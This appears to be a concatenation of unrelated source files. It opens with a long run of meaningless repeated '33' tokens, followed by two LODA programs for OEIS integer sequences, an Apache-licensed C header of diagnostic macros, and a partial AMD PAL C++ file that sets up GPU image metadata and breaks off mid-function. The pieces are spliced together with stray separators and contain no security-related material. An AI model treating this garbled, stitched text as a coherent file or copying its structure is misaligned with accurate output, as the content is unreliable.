33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33
*/
|
; A122746: G.f.: 1/((1-2*x)*(1-2*x^2)).
; Submitted by Jamie Morken(s4)
; 1,2,6,12,28,56,120,240,496,992,2016,4032,8128,16256,32640,65280,130816,261632,523776,1047552,2096128,4192256,8386560,16773120,33550336,67100672,134209536,268419072,536854528,1073709056,2147450880,4294901760,8589869056,17179738112,34359607296,68719214592,137438691328,274877382656,549755289600,1099510579200,2199022206976,4398044413952,8796090925056,17592181850112,35184367894528,70368735789056,140737479966720,281474959933440,562949936644096,1125899873288192,2251799780130816,4503599560261632
add $0,1
mov $1,2
pow $1,$0
div $0,2
mov $2,2
pow $2,$0
sub $1,$2
mov $0,$1
|
/**************************************************************
*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*
*************************************************************/
#ifndef _VOS_DIAGNOSE_H_
#define _VOS_DIAGNOSE_H_
#ifndef _OSL_DIAGNOSE_H_
#include <osl/diagnose.h>
#endif
/*
Diagnostic support
*/
#define VOS_THIS_FILE __FILE__
#define VOS_DEBUG_ONLY(s) _OSL_DEBUG_ONLY(s)
#define VOS_TRACE _OSL_TRACE
#define VOS_ASSERT(c) _OSL_ASSERT(c, VOS_THIS_FILE, __LINE__)
#define VOS_VERIFY(c) OSL_VERIFY(c)
#define VOS_ENSHURE(c, m) _OSL_ENSURE(c, VOS_THIS_FILE, __LINE__, m)
#define VOS_ENSURE(c, m) _OSL_ENSURE(c, VOS_THIS_FILE, __LINE__, m)
#define VOS_PRECOND(c, m) VOS_ENSHURE(c, m)
#define VOS_POSTCOND(c, m) VOS_ENSHURE(c, m)
#endif /* _VOS_DIAGNOSE_H_ */
|
; A059116: The sequence lambda(4,n), where lambda is defined in A055203. Number of ways of placing n identifiable positive intervals with a total of exactly four starting and/or finishing points.
; 0,0,6,114,978,6810,43746,271194,1653378,9998970,60229986,362088474,2174656578,13054316730,78345032226,470127588954,2820937720578,16926142884090,101558406986466,609355090964634,3656144492925378,21936908798965050,131621578318028706,789729846480887514,4738380208603470978,28430284640775263610,170581718012114894946,1023490338575079309594,6140942122957645677378,36845653012267383523770,221073918897168829521186,1326443515853706562262874,7958661102534320128984578,47751966637442163040129530
lpb $0
sub $0,2
mov $2,$0
mov $0,1
max $2,0
seq $2,212850 ; Number of n X 3 arrays with rows being permutations of 0..2 and no column j greater than column j-1 in all rows.
lpe
mov $0,$2
mul $0,6
|
/*
***********************************************************************************************************************
*
* Copyright (c) 2015-2018 Advanced Micro Devices, Inc. All Rights Reserved.
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*
**********************************************************************************************************************/
#include "core/platform.h"
#include "core/image.h"
#include "core/hw/gfxip/gfxCmdBuffer.h"
#include "core/hw/gfxip/gfx9/gfx9Image.h"
#include "core/hw/gfxip/gfx9/gfx9Device.h"
#include "core/hw/gfxip/gfx9/gfx9FormatInfo.h"
#include "core/hw/gfxip/gfx9/gfx9MaskRam.h"
#include "core/hw/gfxip/gfx9/g_gfx9PalSettings.h"
#include "core/addrMgr/addrMgr2/addrMgr2.h"
#include "palMath.h"
#include <limits.h>
using namespace Pal::AddrMgr2;
using namespace Util;
using namespace Pal::Formats;
using namespace Pal::Formats::Gfx9;
namespace Pal
{
namespace Gfx9
{
uint32 Image::s_cbSwizzleIdx = 0;
uint32 Image::s_txSwizzleIdx = 0;
uint32 Image::s_fMaskSwizzleIdx = 0;
// =====================================================================================================================
Image::Image(
Pal::Image* pParentImage,
ImageInfo* pImageInfo,
const Pal::Device& device)
:
GfxImage(pParentImage, pImageInfo, device),
m_gfxDevice(static_cast<const Device&>(*device.GetGfxDevice())),
m_pHtile(nullptr),
m_pDcc(nullptr),
m_pCmask(nullptr),
m_pFmask(nullptr),
m_dccStateMetaDataOffset(0),
m_dccStateMetaDataSize(0),
m_fastClearEliminateMetaDataOffset(0),
m_fastClearEliminateMetaDataSize(0),
m_waTcCompatZRangeMetaDataOffset(0),
m_waTcCompatZRangeMetaDataSizePerMip(0),
m_useCompToSingleForFastClears(false)
{
memset(&m_layoutToState, 0, sizeof(m_layoutToState));
memset(m_addrSurfOutput, 0, sizeof(m_addrSurfOutput));
memset(m_addrMipOutput, 0, sizeof(m_addrMipOutput));
memset(m_addrSurfSetting, 0, sizeof(m_addrSurfSetting));
memset(&m_metaDataClearConst, 0, sizeof(m_metaDataClearConst));
memset(m_metaDataLookupTableOffsets, 0, sizeof(m_metaDataLookupTableOffsets));
memset(m_metaDataLookupTableSizes, 0, sizeof(m_metaDataLookupTableSizes));
memset(m_aspectOffset, 0, sizeof(m_aspectOffset));
for (uint32 planeIdx = 0; planeIdx < MaxNumPlanes; planeIdx++)
{
m_addrSurfOutput[planeIdx].size = sizeof(ADDR2_COMPUTE_SURFACE_INFO_OUTPUT);
m_addrSurfSetting[planeIdx].size = sizeof(ADDR2_GET_PREFERRED_SURF_SETTING_OUTPUT);
m_addrSurfOutput[planeIdx].pMipInfo = &m_addrMipOutput[planeIdx][0];
}
}
// =====================================================================================================================
Image::~Image()
{
Pal::GfxImage::Destroy();
PAL_SAFE_DELETE(m_pHtile, m_device.GetPlatform());
PAL_SAFE_DELETE(m_pDcc, m_device.GetPlatform());
PAL_SAFE_DELETE(m_pFmask, m_device.GetPlatform());
PAL_SAFE_DELETE(m_pCmask, m_device.GetPlatform());
}
// =====================================================================================================================
// Saves state from the AddrMgr about a particular aspect plane for this Image and computes the bank/pipe XOR value for
// the plane.
Result Image::Addr2FinalizePlane(
SubResourceInfo* pBaseSubRes,
void* pBaseTileInfo,
const ADDR2_GET_PREFERRED_SURF_SETTING_OUTPUT& surfaceSetting,
const ADDR2_COMPUTE_SURFACE_INFO_OUTPUT& surfaceInfo)
{
const uint32 aspectIdx = GetAspectIndex(pBaseSubRes->subresId.aspect);
memcpy(&m_addrSurfSetting[aspectIdx], &surfaceSetting, sizeof(m_addrSurfSetting[0]));
memcpy(&m_addrSurfOutput[aspectIdx], &surfaceInfo, sizeof(m_addrSurfOutput[0]));
m_addrSurfOutput[aspectIdx].pMipInfo = &m_addrMipOutput[aspectIdx][0];
for (uint32 mip = 0; mip < m_createInfo.mipLevels; ++mip)
{
memcpy(&m_addrMipOutput[aspectIdx][mip], (surfaceInfo.pMipInfo + mip), sizeof(m_addrMipOutput[0][0]));
}
auto*const pTileInfo = static_cast<AddrMgr2::TileInfo*>(pBaseTileInfo);
// Compute the pipe/bank XOR value for the subresource.
return ComputePipeBankXor(pBaseSubRes->subresId.aspect, &surfaceSetting, &pTileInfo->pipeBankXor);
}
// =====================================================================================================================
// Finalizes the subresource info info for a single subresource, based on the results reported by AddrLib.
void Image::Addr2FinalizeSubresource(
SubResourceInfo* pSubResInfo,
const ADDR2_GET_PREFERRED_SURF_SETTING_OUTPUT& surfaceSetting
) const
{
// All we need to do is evaluate whether or not this subresource can support TC compatibility.
pSubResInfo->flags.supportMetaDataTexFetch = SupportsMetaDataTextureFetch(surfaceSetting.swizzleMode,
pSubResInfo->format.format,
pSubResInfo->subresId);
}
// =====================================================================================================================
// Returns constants which needs to be passed for meta data optimized clear to work
void Image::GetMetaEquationConstParam(
MetaDataClearConst* pParam,
const uint32 metaBlkFastClearSize,
bool cMaskMetaData
) const
{
const Gfx9PalSettings& settings = GetGfx9Settings(m_device);
const bool optimizedFastClearDepth = ((Parent()->IsDepthStencil()) &&
TestAnyFlagSet(settings.optimizedFastClear,
Gfx9OptimizedFastClearDepth));
const bool optimizedFastClearDcc = ((Parent()->IsRenderTarget()) &&
TestAnyFlagSet(settings.optimizedFastClear,
Gfx9OptimizedFastClearColorDcc));
const bool optimizedFastClearCmask = ((Parent()->IsRenderTarget()) &&
TestAnyFlagSet(settings.optimizedFastClear,
Gfx9OptimizedFastClearColorCmask));
MetaEquationParam clearPara;
// check if optimized fast clear is on.
if (optimizedFastClearDepth || optimizedFastClearDcc || optimizedFastClearCmask)
{
if (m_createInfo.usageFlags.colorTarget == 1)
{
if (cMaskMetaData)
{
// Must be an MSAA color target
PAL_ASSERT(m_createInfo.samples > 1);
const Gfx9Cmask*const pCmask = GetCmask();
// we must have a valid MaskRam surface
PAL_ASSERT(pCmask != nullptr);
clearPara = pCmask->GetMetaEquationParam();
}
else
{
const Gfx9Dcc*const pDcc = GetDcc();
// we must have a valid MaskRam surface
PAL_ASSERT(pDcc != nullptr);
clearPara = pDcc->GetMetaEquationParam();
}
}
else
{
PAL_ASSERT(m_createInfo.usageFlags.depthStencil == 1);
const Gfx9Htile*const pHtile = GetHtile();
// we must have a valid MaskRam surface
PAL_ASSERT(pHtile != nullptr);
clearPara = pHtile->GetMetaEquationParam();
}
// metaBlocks are generally interleaved in memory except one case as defined below.
pParam->metaInterleaved = true;
const bool sampleHiCloseToMetaHi = ((clearPara.sampleHiBitsOffset + clearPara.sampleHiBitsLength) ==
clearPara.metablkIdxHiBitsOffset);
if ((clearPara.metablkIdxLoBitsLength == 0) && (clearPara.sampleHiBitsLength == 0))
{
// Metablock[all], CombinedOffset[all]
PAL_ASSERT(clearPara.metablkIdxLoBitsOffset == 0);
PAL_ASSERT(clearPara.sampleHiBitsOffset == 0);
PAL_ASSERT(clearPara.metablkIdxHiBitsOffset == clearPara.metaBlkSizeLog2);
// Number of Metablock offset low bits + sample low bits
pParam->combinedOffsetLowBits = 0;
// Shift of Combined offset MSBs
pParam->combinedOffsetHighBitShift = 0;
// Since all metablocks are above combinedoffset bits they are not interleaved.
pParam->metaInterleaved = false;
}
else if (clearPara.metablkIdxLoBitsLength == 0)
{
if (sampleHiCloseToMetaHi)
{
// Metablock[all], Sample[Hi], CombinedOffset[all]
PAL_ASSERT(clearPara.sampleHiBitsOffset == clearPara.metaBlkSizeLog2);
// Number of Metablock offset low bits + sample low bits
pParam->combinedOffsetLowBits = 0;
// Shift of Combined offset MSBs
pParam->combinedOffsetHighBitShift = 0;
}
else
{
// Metablock[all], CombinedOffset[Hi], Sample[Hi], CombinedOffset[Lo]
//
// Metablock index bits are above combined offset bits and sample hi bits
// Sample high bits split combined offset into 2 parts
//
PAL_ASSERT((clearPara.metaBlkSizeLog2 + clearPara.sampleHiBitsLength) ==
clearPara.metablkIdxHiBitsOffset);
PAL_ASSERT(clearPara.metablkIdxHiBitsOffset > clearPara.sampleHiBitsOffset);
// Number of Metablock offset low bits + sample low bits
pParam->combinedOffsetLowBits = clearPara.sampleHiBitsOffset;
// Shift of Combined offset MSBs
pParam->combinedOffsetHighBitShift = clearPara.sampleHiBitsOffset + clearPara.sampleHiBitsLength;
}
}
else if (clearPara.sampleHiBitsLength == 0)
{
// Metablock[Hi], CombinedOffset[Hi], Metablock[Lo], CombinedOffset[Lo]
PAL_ASSERT((clearPara.metaBlkSizeLog2 + clearPara.metablkIdxLoBitsLength) ==
clearPara.metablkIdxHiBitsOffset);
PAL_ASSERT(clearPara.metablkIdxHiBitsOffset > clearPara.metablkIdxLoBitsOffset);
// Number of Metablock offset low bits + sample low bits
pParam->combinedOffsetLowBits = clearPara.metablkIdxLoBitsOffset;
// Shift of Combined offset MSBs
pParam->combinedOffsetHighBitShift = clearPara.metablkIdxLoBitsOffset + clearPara.metablkIdxLoBitsLength;
}
else
{
// Metablock[Hi], Sample[Hi], CombinedOffset[Hi], Metablock[Lo], CombinedOffset[Lo]
PAL_ASSERT(sampleHiCloseToMetaHi);
PAL_ASSERT((clearPara.metaBlkSizeLog2 + clearPara.metablkIdxLoBitsLength) == clearPara.sampleHiBitsOffset);
// Number of Metablock offset low bits + sample low bits
pParam->combinedOffsetLowBits = clearPara.metablkIdxLoBitsOffset;
// Shift of Combined offset MSBs
pParam->combinedOffsetHighBitShift = clearPara.metablkIdxLoBitsOffset + clearPara.metablkIdxLoBitsLength;
}
// Number of Metablock offset bits and sample low bits (Combined offset bits)
pParam->metablockSizeLog2 = clearPara.metaBlkSizeLog2;
// Number of Metablock index bits which under metablock offset MSBs
pParam->metaBlockLsb = clearPara.metablkIdxLoBitsLength;
// Shift of Metablock index MSBs
pParam->metaBlockHighBitShift = clearPara.metablkIdxHiBitsOffset;
// Number of Metablock offset bits and sample low bits (Combined offset bits)
pParam->metablockSizeLog2BitMask = (1 << pParam->metablockSizeLog2) - 1;
// Combined offset LSBs' mask
pParam->combinedOffsetLowBitsMask = (1 << pParam->combinedOffsetLowBits) - 1;
// Metablock index LSBs' mask
pParam->metaBlockLsbBitMask = (1 << pParam->metaBlockLsb) - 1;
PAL_ASSERT(metaBlkFastClearSize == (1u << (clearPara.metaBlkSizeLog2 + 4)));
}
}
// =====================================================================================================================
// Calculates the byte offset from the start of bound image memory as to where each aspect (plane) physically begins.
void Image::SetupAspectOffsets()
{
const Pal::Image* pParent = Parent();
const auto& imageInfo = pParent->GetImageInfo();
gpusize aspectOffset = 0;
// Loop through all the planes associated with this surface
for (uint32 planeIdx = 0; planeIdx < imageInfo.numPlanes; planeIdx++)
{
// Record where this aspect starts
m_aspectOffset[planeIdx] = aspectOffset;
SwizzledFormat planeFormat = m_createInfo.swizzledFormat; // this is a don't care for this function
ImageAspect planeAspect = ImageAspect::Color;
pParent->DetermineFormatAndAspectForPlane(&planeFormat, &planeAspect, planeIdx);
// Address library output is on a per-plane basis, so the mip / slice info in the sub-res is a don't care.
const SubresId baseSubResId = { planeAspect, 0, 0 };
const auto* pBaseSubResInfo = pParent->SubresourceInfo(baseSubResId);
const auto* pAddrOutput = GetAddrOutput(pBaseSubResInfo);
// Bump up our offset by the size of this plane
aspectOffset += pAddrOutput->surfSize;
} // end loop through every possible aspect
}
// =====================================================================================================================
// "Finalizes" this Image object: this includes determining what metadata surfaces need to be used for this Image, and
// initializing the data structures for them.
Result Image::Finalize(
bool dccUnsupported,
SubResourceInfo* pSubResInfoList,
void* pTileInfoList2, // Not used in Gfx6 version
ImageMemoryLayout* pGpuMemLayout,
gpusize* pGpuMemSize,
gpusize* pGpuMemAlignment)
{
// For AddrMgr2 style addressing, there's no chance of a single subresource being incapable of supporting DCC.
PAL_ASSERT(dccUnsupported == false);
const PalSettings& coreSettings = m_device.Settings();
const Gfx9PalSettings& settings = GetGfx9Settings(m_device);
const auto* pPublicSettings = m_device.GetPublicSettings();
const SubResourceInfo*const pBaseSubResInfo = pSubResInfoList;
const SharedMetadataInfo& sharedMetadata = m_pImageInfo->internalCreateInfo.sharedMetadata;
const bool useSharedMetadata = m_pImageInfo->internalCreateInfo.flags.useSharedMetadata;
bool useDcc = false;
bool useHtile = false;
bool useCmask = false;
Result result = Result::Success;
if (useSharedMetadata)
{
useDcc = (sharedMetadata.dccOffset != 0);
useHtile = (sharedMetadata.htileOffset != 0);
useCmask = (sharedMetadata.cmaskOffset != 0) && (sharedMetadata.fmaskOffset != 0);
// Fast-clear metadata is a must for shared DCC and HTILE. Sharing is disabled if it is not provided.
if (useDcc && (sharedMetadata.fastClearMetaDataOffset == 0))
{
useDcc = false;
result = Result::ErrorNotShareable;
}
if (useHtile && (sharedMetadata.fastClearMetaDataOffset == 0))
{
useHtile = false;
result = Result::ErrorNotShareable;
}
}
else
{
useHtile = Gfx9Htile::UseHtileForImage(m_device, *this);
useDcc = Gfx9Dcc::UseDccForImage(*this, (pBaseSubResInfo->flags.supportMetaDataTexFetch != 0));
useCmask = Gfx9Cmask::UseCmaskForImage(m_device, *this);
}
// Also determine if we need any metadata for these mask RAM objects.
bool needsFastColorClearMetaData = false;
bool needsFastDepthClearMetaData = false;
bool needsDccStateMetaData = false;
bool needsHtileLookupTable = false;
bool needsWaTcCompatZRangeMetaData = false;
// Initialize Htile:
if (useHtile)
{
m_pHtile = PAL_NEW(Gfx9Htile, m_device.GetPlatform(), SystemAllocType::AllocObject);
if (m_pHtile != nullptr)
{
if (useSharedMetadata)
{
gpusize forcedOffset = sharedMetadata.htileOffset;
result = m_pHtile->Init(m_device, *this, &forcedOffset, sharedMetadata.flags.hasEqGpuAccess);
*pGpuMemSize = Max(forcedOffset, *pGpuMemSize);
}
else
{
result = m_pHtile->Init(m_device, *this, pGpuMemSize, true);
}
if (result == Result::Success)
{
needsWaTcCompatZRangeMetaData = (m_device.GetGfxDevice()->WaTcCompatZRange() &&
(m_pHtile->TileStencilDisabled() == false) &&
(pBaseSubResInfo->flags.supportMetaDataTexFetch != 0));
if (useSharedMetadata &&
needsWaTcCompatZRangeMetaData &&
(sharedMetadata.flags.hasWaTcCompatZRange == false))
{
result = Result::ErrorNotShareable;
}
}
if (result == Result::Success)
{
// Depth subresources with hTile memory must be fast-cleared either through the compute or graphics
// engine. Slow clears won't work as the hTile memory wouldn't get updated.
const ClearMethod fastClearMethod = (pPublicSettings->useGraphicsFastDepthStencilClear ||
(useSharedMetadata &&
(sharedMetadata.flags.hasEqGpuAccess == false)))
? ClearMethod::DepthFastGraphics
: ClearMethod::Fast;
const bool supportsDepth =
m_device.SupportsDepth(m_createInfo.swizzledFormat.format, m_createInfo.tiling);
const bool supportsStencil =
m_device.SupportsStencil(m_createInfo.swizzledFormat.format, m_createInfo.tiling);
for (uint32 mip = 0; ((mip < m_createInfo.mipLevels) && (result == Result::Success)); ++mip)
{
if (CanMipSupportMetaData(mip))
{
if (supportsDepth)
{
UpdateClearMethod(pSubResInfoList, ImageAspect::Depth, mip, fastClearMethod);
}
if (supportsStencil)
{
UpdateClearMethod(pSubResInfoList, ImageAspect::Stencil, mip, fastClearMethod);
}
}
}
needsFastDepthClearMetaData = true;
// It's possible for the metadata allocation to require more alignment than the base allocation. Bump
// up the required alignment of the app-provided allocation if necessary.
*pGpuMemAlignment = Max(*pGpuMemAlignment, m_pHtile->Alignment());
UpdateMetaDataLayout(pGpuMemLayout, m_pHtile->MemoryOffset(), m_pHtile->Alignment());
const auto& hTileAddrOutput = m_pHtile->GetAddrOutput();
const uint32 metaBlkFastClearSize = hTileAddrOutput.sliceSize / hTileAddrOutput.metaBlkNumPerSlice;
// Get the constant data for clears based on Htile meta equation
GetMetaEquationConstParam(&m_metaDataClearConst[MetaDataHtile], metaBlkFastClearSize);
if (useSharedMetadata == false)
{
if (Parent()->IsResolveSrc() || Parent()->IsResolveDst())
{
needsHtileLookupTable = true;
}
}
else
{
needsHtileLookupTable = sharedMetadata.flags.hasHtileLookupTable;
}
}
}
else
{
result = Result::ErrorOutOfMemory;
}
} // End check for (useHtile != false)
// Initialize DCC:
if (useDcc && (result == Result::Success))
{
// There is nothing mip-level specific about DCC on Gfx9, so we just have one DCC objct that represents the
// entire DCC allocation.
m_pDcc = PAL_NEW(Gfx9Dcc, m_device.GetPlatform(), SystemAllocType::AllocObject);
if (m_pDcc != nullptr)
{
if (useSharedMetadata)
{
gpusize forcedOffset = sharedMetadata.dccOffset;
result = m_pDcc->Init(*this, &forcedOffset, sharedMetadata.flags.hasEqGpuAccess);
*pGpuMemSize = Max(forcedOffset, *pGpuMemSize);
}
else
{
result = m_pDcc->Init(*this, pGpuMemSize, true);
}
if (result == Result::Success)
{
if ((useSharedMetadata == false) || (sharedMetadata.flags.hasEqGpuAccess == true))
{
PAL_ASSERT(pBaseSubResInfo->subresId.aspect == ImageAspect::Color);
const auto& surfSettings = GetAddrSettings(pBaseSubResInfo);
if (Gfx9MaskRam::SupportFastColorClear(m_device, *this, surfSettings.swizzleMode))
{
for (uint32 mip = 0; mip < m_createInfo.mipLevels; ++mip)
{
// Enable fast Clear support for RTV/SRV or if we have a mip chain in which some mips aren't
// going to be used as UAV but some can be then we enable dcc fast clear on those who aren't
// going to be used as UAV and disable dcc fast clear on other mips.
if ((m_createInfo.usageFlags.shaderWrite == 0) ||
(mip < m_createInfo.usageFlags.firstShaderWritableMip))
{
const auto& mipInfo = m_pDcc->GetAddrMipInfo(mip);
if (CanMipSupportMetaData(mip))
{
UpdateClearMethod(pSubResInfoList, ImageAspect::Color, mip, ClearMethod::Fast);
}
}
} // end loop through all the mip levels
} // end check for this image supporting fast clears at all
}
// Set up the size & GPU offset for the fast-clear metadata. Only need to do this once for all mip
// levels. The HW will only use this data if fast-clears have been used, but the fast-clear meta data
// is used by the driver if DCC memory is present for any reason, so we always need to do this.
// SEE: Gfx9ColorTargetView::WriteCommands for details.
needsFastColorClearMetaData = true;
if (useSharedMetadata)
{
needsDccStateMetaData = (sharedMetadata.dccStateMetaDataOffset != 0);
}
else
{
// We also need the DCC state metadata when DCC is enabled.
needsDccStateMetaData = true;
}
// It's possible for the metadata allocation to require more alignment than the base allocation. Bump
// up the required alignment of the app-provided allocation if necessary.
*pGpuMemAlignment = Max(*pGpuMemAlignment, m_pDcc->Alignment());
// Update the layout information against mip 0's DCC offset and alignment requirements.
UpdateMetaDataLayout(pGpuMemLayout, m_pDcc->MemoryOffset(), m_pDcc->Alignment());
const auto& addrOutput = m_pDcc->GetAddrOutput();
const uint32 metaBlkFastClearSize = addrOutput.fastClearSizePerSlice / addrOutput.metaBlkNumPerSlice;
// Get the constant data for clears based on DCC meta equation
GetMetaEquationConstParam(&m_metaDataClearConst[MetaDataDcc], metaBlkFastClearSize);
}
}
else
{
result = Result::ErrorOutOfMemory;
}
} // End check for (useDcc != false)
// Initialize Cmask:
if (useCmask && (result == Result::Success))
{
// Cmask setup depends on Fmask swizzle mode, so setup Fmask first.
m_pFmask = PAL_NEW(Gfx9Fmask, m_device.GetPlatform(), SystemAllocType::AllocObject);
if (m_pFmask != nullptr)
{
if (useSharedMetadata)
{
gpusize forcedOffset = sharedMetadata.fmaskOffset;
result = m_pFmask->Init(*this, &forcedOffset);
*pGpuMemSize = Max(forcedOffset, *pGpuMemSize);
}
else
{
result = m_pFmask->Init(*this, pGpuMemSize);
}
if ((m_createInfo.flags.repetitiveResolve != 0) || (coreSettings.forceFixedFuncColorResolve != 0))
{
// According to the CB Micro-Architecture Specification, it is illegal to resolve a 1 fragment eqaa
// surface.
if ((Parent()->IsEqaa() == false) || (m_createInfo.fragments > 1))
{
m_pImageInfo->resolveMethod.fixedFunc = 1;
}
}
// It's possible for the metadata allocation to require more alignment than the base allocation. Bump
// up the required alignment of the app-provided allocation if necessary.
*pGpuMemAlignment = Max(*pGpuMemAlignment, m_pFmask->Alignment());
// Update the layout information against the fMask offset and alignment requirements.
UpdateMetaDataLayout(pGpuMemLayout, m_pFmask->MemoryOffset(), m_pFmask->Alignment());
// NOTE: If FMask is present, use the FMask-accelerated resolve path.
m_pImageInfo->resolveMethod.shaderCsFmask = 1;
}
else
{
result = Result::ErrorOutOfMemory;
}
// On GFX9, Cmask and fmask go together. There's no point to having just one of them.
if (result == Result::Success)
{
m_pCmask = PAL_NEW(Gfx9Cmask, m_device.GetPlatform(), SystemAllocType::AllocObject);
if (m_pCmask != nullptr)
{
if (useSharedMetadata)
{
gpusize forcedOffset = sharedMetadata.cmaskOffset;
result = m_pCmask->Init(*this, &forcedOffset, sharedMetadata.flags.hasEqGpuAccess);
*pGpuMemSize = Max(forcedOffset, *pGpuMemSize);
}
else
{
result = m_pCmask->Init(*this, pGpuMemSize, true);
}
// It's possible for the metadata allocation to require more alignment than the base allocation. Bump
// up the required alignment of the app-provided allocation if necessary.
*pGpuMemAlignment = Max(*pGpuMemAlignment, m_pCmask->Alignment());
// Update the layout information against the cMask offset and alignment requirements.
UpdateMetaDataLayout(pGpuMemLayout, m_pCmask->MemoryOffset(), m_pCmask->Alignment());
const auto& addrOutput = m_pCmask->GetAddrOutput();
const uint32 metaBlkFastClearSize = addrOutput.sliceSize / addrOutput.metaBlkNumPerSlice;
// Get the constant data for clears based on cmask meta equation
GetMetaEquationConstParam(&m_metaDataClearConst[MetaDataCmask], metaBlkFastClearSize, true);
}
}
} // End check for (useCmask != false)
if (result == Result::Success)
{
// If we have a valid metadata offset we also need a metadata size.
if (pGpuMemLayout->metadataOffset != 0)
{
pGpuMemLayout->metadataSize = (*pGpuMemSize - pGpuMemLayout->metadataOffset);
}
// Set up the size & GPU offset for the fast-clear metadata. An image can't have color metadata and depth-
// stencil metadata.
if (needsFastColorClearMetaData)
{
if (useSharedMetadata)
{
gpusize forcedOffset = sharedMetadata.fastClearMetaDataOffset;
InitFastClearMetaData(pGpuMemLayout, &forcedOffset, sizeof(Gfx9FastColorClearMetaData), sizeof(uint32));
*pGpuMemSize = Max(forcedOffset, *pGpuMemSize);
}
else
{
InitFastClearMetaData(pGpuMemLayout, pGpuMemSize, sizeof(Gfx9FastColorClearMetaData), sizeof(uint32));
}
}
else if (needsFastDepthClearMetaData)
{
if (useSharedMetadata)
{
gpusize forcedOffset = sharedMetadata.fastClearMetaDataOffset;
